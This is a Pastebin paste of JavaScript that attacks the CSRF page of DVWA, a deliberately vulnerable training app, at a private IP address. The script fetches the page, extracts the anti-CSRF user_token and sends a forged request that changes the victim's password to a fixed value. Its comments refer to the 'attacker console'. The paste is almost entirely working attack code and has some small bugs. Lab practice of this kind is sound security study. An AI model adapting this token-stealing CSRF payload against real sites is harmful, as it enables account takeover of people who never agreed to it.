yasserkAKA

Untitled

Mar 19th, 2019
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.04 KB | None | 0 0
  1. function readBody(xhr) {
  2. var data;
  3. //responsetype type of response
  4. //txt: The response is text in a DOMString object.
  5. //document: he response is an HTML Document or XML XMLDocument,
  6. if (!xhr.responseType || xhr.responseType === "text") {
  7. data = xhr.responseText;
  8. } else if (xhr.responseType === "document") {
  9. data = xhr.responseXML;
  10. } else {
  11. data = xhr.response;
  12. }
  13. //Domparser: interface provides the ability to parse XML or HTML source code from a string into a DOM Document.
  14. var parser = new DOMParser();
  15. //you can parse now
  16. var resp=parser.parseFromString(data, "text/html");
  17. user_token = resp.getElementsByName('user_token')[0].value; //grab first available user_token
  18. //show user_token in attacker consol
  19. console.log('user_token: ' + user_token);
  20. csrf(user_token);
  21. return data;
  22. }
  23.  
  24. var xhr = new XMLHttpRequest();
  25. xhr.onreadystatechange = function () {
  26. if (xhr.readyState == 4) {
  27. response=readBody(xhr);
  28. //console.log(response);
  29. }
  30. }
  31. xhr.open('GET', 'http://192.168.111.129/dvwa/vulnerabilities/csrf/', true);
  32. xhr.send(null);
  33.  
  34. function csrf(user_token) {
  35. //var sendWidgetModel = {"password_new":"123","password_conf":"123","Change":"Change","user_token":token};
  36. //var sendWidgetModel = {"toEmail": 'john@doe.com',"widgetMessage": "I hate you, John!",};
  37. var x1 = new XMLHttpRequest();
  38. x1.open('GET','http://192.168.111.129/dvwa/vulnerabilities/csrf/?password_new=122&password_conf=122&Change=Change&user_token='+user_token,true);
  39. //x1.open("POST", "http://192.168.111.129/dvwa/vulnerabilities/csrf/");
  40. x1.setRequestHeader("Content-Type", "application/json; charset=utf-8");
  41. x1.send(null);
  42.  
  43. var data2;
  44. if (!x1.responseType || x1.responseType === "text") {
  45. data = x1.responseText;
  46. } else if (x1.responseType === "document") {
  47. data = x1.responseXML;
  48. } else {
  49. data = x1.response;
  50. }
  51. alert(data);
  52. var parser = new DOMParser();
  53. var resp=parser.parseFromString(data, "text/html");
  54. result=document.getElementsByTagName('pre')[0].innerHTML;
  55. console.log("res:"+result);
  56. alert(result)
  57. }
Add Comment
Please, Sign In to add comment